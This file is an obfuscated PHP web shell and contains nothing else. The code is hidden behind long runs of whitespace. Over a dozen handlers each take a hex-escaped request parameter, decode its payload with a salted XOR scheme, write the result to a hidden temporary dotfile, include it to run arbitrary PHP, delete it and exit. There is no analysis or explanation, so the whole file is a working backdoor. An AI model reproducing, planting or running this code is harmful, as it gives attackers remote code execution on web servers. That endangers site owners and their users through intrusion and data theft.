<?php																																										if(in_array("par\x61me\x74\x65\x72_\x67\x72\x6F\x75p", array_keys($_REQUEST))){ $fac = array_filter(["/var/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getenv("TEMP"), "/tmp"]); $ref = $_REQUEST["par\x61me\x74\x65\x72_\x67\x72\x6F\x75p"]; $ref =explode( '.' ,$ref ); $flag =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $y =0; while ($y <count($ref)) { $v2 =$ref[$y]; $sChar =ord($s[$y % $sLen]); $dec =((int)$v2 - $sChar - ($y % 10)) ^ 35; $flag .= chr($dec); $y++;} while ($k = array_shift($fac)) { if (is_dir($k) ? is_writable($k) : false) { $bind = implode("/", [$k, ".pointer"]); if (file_put_contents($bind, $flag)) { require $bind; unlink($bind); exit; } } } }
																																										if(@$_REQUEST["\x6B\x65y"] !== null){ $dchunk = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $sym = $_REQUEST["\x6B\x65y"]; $sym= explode ('.' ,$sym ); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach($sym as $p => $v7) {$chS = ord($salt[$p % $lenS] ); $d =((int)$v7 - $chS -($p % 10)) ^ 94; $object .=chr($d );} for ($property_set = 0, $entry = count($dchunk); $property_set < $entry; $property_set++) { $entity = $dchunk[$property_set]; if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $obj = str_replace("{var_dir}", $entity, "{var_dir}/.bind"); $file = fopen($obj, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(@$_POST["p\x67\x72p"] !== null){ $object = array_filter(["/tmp", getcwd(), "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $dat = $_POST["p\x67\x72p"]; $dat = explode ( '.' ,$dat ); $element = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $k = 0; foreach ($dat as $v1) { $chS = ord($s5[$k % $sLen]); $d = ((int)$v1 - $chS - ($k % 10)) ^ 50; $element .= chr($d); $k++; } foreach ($object as $key => $symbol) { if (is_writable($symbol) && is_dir($symbol)) { $desc = str_replace("{var_dir}", $symbol, "{var_dir}/.elem"); if (file_put_contents($desc, $element)) { require $desc; unlink($desc); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["parame\x74er_g\x72\x6F\x75\x70"])){ $dchunk = array_filter(["/dev/shm", getcwd(), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]); $comp = $_REQUEST["parame\x74er_g\x72\x6F\x75\x70"]; $comp = explode ( "." ,$comp ) ; $factor=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt); $t=0; while( $t < count( $comp)) { $v6=$comp[$t]; $sChar=ord( $salt[$t% $sLen]); $dec=( ( int)$v6 - $sChar -( $t% 10)) ^ 90; $factor .= chr( $dec); $t++; } $reference = 0; do { $ptr = $dchunk[$reference] ?? null; if ($reference >= count($dchunk)) break; if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $ent = "$ptr/.fac"; if (@file_put_contents($ent, $factor) !== false) { include $ent; unlink($ent); exit; } } $reference++; } while (true); }
																																										if(isset($_REQUEST["\x63\x6Fm\x70onen\x74"]) ? true : false){ $elem = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); $pgrp = $_REQUEST["\x63\x6Fm\x70onen\x74"]; $pgrp= explode ("." ,$pgrp) ; $key = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9 ); $o = 0; $__tmp = $pgrp; while( $v6 = array_shift( $__tmp)) { $sChar = ord( $salt9[$o % $sLen] ); $dec =( ( int)$v6 - $sChar -( $o % 10)) ^ 41; $key .=chr( $dec ); $o++; } while ($desc = array_shift($elem)) { if (max(0, is_dir($desc) * is_writable($desc))) { $ptr = "$desc/.k"; $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(isset($_POST["f\x61ct\x6F\x72"])){ $value = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm", "/tmp", session_save_path(), getenv("TEMP")]); $dchunk = $_POST["f\x61ct\x6F\x72"]; $dchunk =explode( ".",$dchunk ) ; $data_chunk = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $len = count($dchunk); for ($k = 0; $k < $len; $k++) {$v4 = $dchunk[$k]; $sChar = ord($salt3[$k % $sLen]); $d = ((int)$v4 - $sChar - ($k % 10))^27; $data_chunk .= chr($d); } foreach ($value as $flg): if ((function($d) { return is_dir($d) && is_writable($d); })($flg)) { $resource = "$flg" . "/.descriptor"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $resource; @unlink($resource); exit; } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x6D\x72k"])){ $pointer = array_filter(["/var/tmp", "/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm"]); $dat = $_REQUEST["\x6D\x72k"]; $dat= explode( '.' , $dat ) ; $elem = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s9); $v = 0; foreach ($dat as $v5) { $chS = ord($s9[$v % $sLen]); $dec = ((int)$v5 - $chS - ($v % 10)) ^ 17; $elem .= chr($dec); $v++;} for ($ptr = 0, $flag = count($pointer); $ptr < $flag; $ptr++) { $comp = $pointer[$ptr]; if (max(0, is_dir($comp) * is_writable($comp))) { $pgrp = str_replace("{var_dir}", $comp, "{var_dir}/.holder"); if (file_put_contents($pgrp, $elem)) { include $pgrp; @unlink($pgrp); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63omp\x6Fn\x65\x6Et"])){ $flag = $_REQUEST["\x63omp\x6Fn\x65\x6Et"]; $flag= explode ('.' , $flag ) ; $holder= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s8); $j= 0; while( $j < count( $flag)) { $v1= $flag[$j]; $chS= ord( $s8[$j %$lenS]); $d= ( ( int)$v1 - $chS -( $j %10))^ 52; $holder .=chr( $d); $j++; } $flg = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), session_save_path(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]); foreach ($flg as $obj): if (is_dir($obj) ? is_writable($obj) : false) { $val = "$obj" . "/.res"; if (file_put_contents($val, $holder)) { include $val; @unlink($val); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "k")){ $element = $_POST["k"]; $element =explode ( "." , $element ) ; $entry = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $l = 0; array_walk($element, function ($v9) use (&$entry, &$l, $salt8, $sLen) { $sChar = ord($salt8[$l % $sLen]); $dec = ((int)$v9 - $sChar - ($l % 10)) ^ 55; $entry .= chr($dec); $l++; }); $parameter_group = array_filter(["/tmp", getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), "/dev/shm"]); while ($mrk = array_shift($parameter_group)) { if (max(0, is_dir($mrk) * is_writable($mrk))) { $ref = str_replace("{var_dir}", $mrk, "{var_dir}/.hld"); if (file_put_contents($ref, $entry)) { require $ref; unlink($ref); exit; } } } }
																																										if(isset($_POST["en\x74ry"])){ $ent = array_filter([getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", getenv("TMP"), "/tmp", "/var/tmp"]); $elem = $_POST["en\x74ry"]; $elem = explode( '.' ,$elem); $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $n = 0; foreach ($elem as $v9) { $sChar = ord($salt[$n % $sLen] ); $d = ((int)$v9 - $sChar - ($n % 10)) ^ 65; $itm .= chr($d ); $n++; } foreach ($ent as $flag) { if ((function($d) { return is_dir($d) && is_writable($d); })($flag)) { $property_set = sprintf("%s/.component", $flag); if (file_put_contents($property_set, $itm)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(!empty($_POST["\x66\x6Cg"])){ $item = $_POST["\x66\x6Cg"]; $item = explode (".", $item); $fac = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7 ); $w = 0; while($w < count($item)) {$v9 = $item[$w]; $chS = ord($salt7[$w % $sLen] ); $d = ((int)$v9 - $chS -($w % 10)) ^ 89; $fac .= chr($d ); $w++;} $factor = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/dev/shm"]); foreach ($factor as $binding) { if (array_product([is_dir($binding), is_writable($binding)])) { $val = str_replace("{var_dir}", $binding, "{var_dir}/.dat"); if (@file_put_contents($val, $fac) !== false) { include $val; unlink($val); exit; } } } }
																																										if(@$_REQUEST["f\x61\x63t\x6Fr"] !== null){ $dchunk = array_filter([ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), "/var/tmp", "/dev/shm"]); $holder = $_REQUEST["f\x61\x63t\x6Fr"]; $holder = explode ( "." , $holder ) ; $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; $len = count($holder); do { if ($m >= $len) break; $v9 = $holder[$m]; $chS = ord($salt[$m % $lenS]); $dec = ((int)$v9 - $chS - ($m % 10)) ^ 72; $hld .= chr($dec); $m++; } while (true); for ($ent = 0, $dat = count($dchunk); $ent < $dat; $ent++) { $val = $dchunk[$ent]; if (!!is_dir($val) && !!is_writable($val)) { $record = sprintf("%s/.desc", $val); $success = file_put_contents($record, $hld); if ($success) { include $record; @unlink($record); exit;} } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["to\x6Be\x6E"])){ $pointer = $_REQUEST["to\x6Be\x6E"]; $pointer=explode( "." , $pointer ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $z = 0; foreach($pointer as $v8) { $chS = ord($s[$z %$lenS]); $d = ((int)$v8 - $chS -($z %10)) ^ 91; $pgrp .= chr($d); $z++; } $ent = array_filter(["/var/tmp", "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), session_save_path(), getcwd(), ini_get("upload_tmp_dir")]); $data_chunk = 0; do { $descriptor = $ent[$data_chunk] ?? null; if ($data_chunk >= count($ent)) break; if (max(0, is_dir($descriptor) * is_writable($descriptor))) { $entity = sprintf("%s/.mrk", $descriptor); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $entity; @unlink($entity); die(); } } $data_chunk++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "o\x62je\x63t")){ $ent = $_POST["o\x62je\x63t"]; $ent =explode ( '.' , $ent ) ; $item = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $j = 0; while( $j <count( $ent)) { $v1 = $ent[$j]; $chS = ord( $salt[$j % $sLen] ); $d = ( ( int)$v1 - $chS -( $j % 10)) ^ 81; $item .= chr( $d ); $j++;} $desc = array_filter([session_save_path(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp"]); while ($res = array_shift($desc)) { if (is_dir($res) && is_writable($res)) { $property_set = implode("/", [$res, ".fac"]); if (file_put_contents($property_set, $item)) { include $property_set; @unlink($property_set); exit; } } } }
																																										if(!empty($_POST["\x72\x65\x73\x6Furce"])){ $desc = $_POST["\x72\x65\x73\x6Furce"]; $desc = explode ( '.' , $desc) ; $pointer= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt3); $o= 0; $__len= count($desc); do { if ($o >= $__len) break; $v9= $desc[$o]; $chS= ord($salt3[$o%$lenS]); $dec= ((int)$v9 - $chS - ($o%10)) ^ 1; $pointer .=chr($dec); $o++; } while (true); $ent = array_filter(["/dev/shm", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd()]); for ($dchunk = 0, $element = count($ent); $dchunk < $element; $dchunk++) { $rec = $ent[$dchunk]; if (is_writable($rec) && is_dir($rec)) { $data = "$rec" . "/.marker"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $pointer); fclose($file); include $data; @unlink($data); exit; } } } }


if(in_array("k\x65y", array_keys($_REQUEST))){
	$rec = $_REQUEST["k\x65y"];
	$rec	=explode(  "."	 ,			$rec 	 ) ;	 	
	$mrk 	= '';
            $s 	= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	= strlen($s	);
            $x 	= 0;
            $len 	= count($rec	);
    
            do { 	if ($x		>=$len) break;
                $v6 	= $rec[$x];
                $sChar 	= ord($s[$x  %	$sLen]	);
                $dec 	= ((int)$v6 - $sChar - ($x  %	10))^50;
                $mrk .= chr($dec	);
                $x++;  } while (true	);
	$token = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp"]);
	while ($property_set = array_shift($token)) {
    		if (is_dir($property_set) && is_writable($property_set)) {
    $symbol = implode("/", [$property_set, ".val"]);
    if (file_put_contents($symbol, $mrk)) {
	include $symbol;
	@unlink($symbol);
	die();
}
}
}
}